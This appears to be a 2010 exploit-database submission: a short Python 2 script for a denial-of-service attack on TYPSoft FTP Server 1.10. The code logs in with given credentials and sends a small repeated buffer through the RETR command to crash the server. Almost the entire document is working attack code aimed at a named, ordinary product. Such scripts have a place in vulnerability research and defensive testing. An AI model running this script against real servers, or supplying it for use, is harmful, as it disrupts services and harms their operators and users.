# Exploit Title: TYPSoft FTP Server 1.10 RETR Command DoS
# Date: 5/13/2010
# Author: Jeremiah Talamantes (RedTeam Security)
# Software Link: http://sourceforge.net/projects/ftpserv/
# Version: 1.10
# Tested on: Windows XP, SP2 (EN)

# DESCRIPTION:
# This script exploits a weakness in the RETR command in TYPSoft v1.10
# It requires only a small buffer that is executed in succession within
# the same socket connection. 

#!/usr/bin/python
print "\n#################################################################"
print "##                      RedTeam Security                       ##"
print "##         TYPSoft FTP Server v1.10 RETR Command DoS           ##"
print "##                                                             ##"
print "##                     Jeremiah Talamantes                     ##"
print "##                   labs@redteamsecure.com                    ##"
print "################################################################# \n"

import socket
import sys

# Define the exploit's usage
def Usage():
    print ("Usage:  scriptname.py <IP address> <username> <password>\n")
    print ("\n\nCredit: Jeremiah Talamantes")
    print ("RedTeam Security : www.redteamsecure.com/labs\n")

# Buffer settings
# This works with a relatively small buffer
buffer= "A" * 30

def start(hostname, username, password):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("Error: unable to connect to host")
        sys.exit(1)
    r=sock.recv(1024)
    print "[+] " + r
    #Send username to server
    sock.send("USER %s\r\n" %username)
    r=sock.recv(1024)
    # Send password to server
    sock.send("PASS %s\r\n" %password)
    r=sock.recv(1024)
    print "Sending the malicious chars..."
    # Send data to server
    sock.send("RETR %s\r\n" %buffer)
  
  # Repeat to overflow
    sock.send("USER %s\r\n" %username)
    r=sock.recv(1024)
    sock.send("PASS %s\r\n" %password)
    r=sock.recv(1024)
    sock.send("RETR %s\r\n" %buffer)
    sock.close()
  
if len(sys.argv) <> 4:
    Usage()
    sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    password=sys.argv[3]
    start(hostname,username,password)
    sys.exit(0)

# end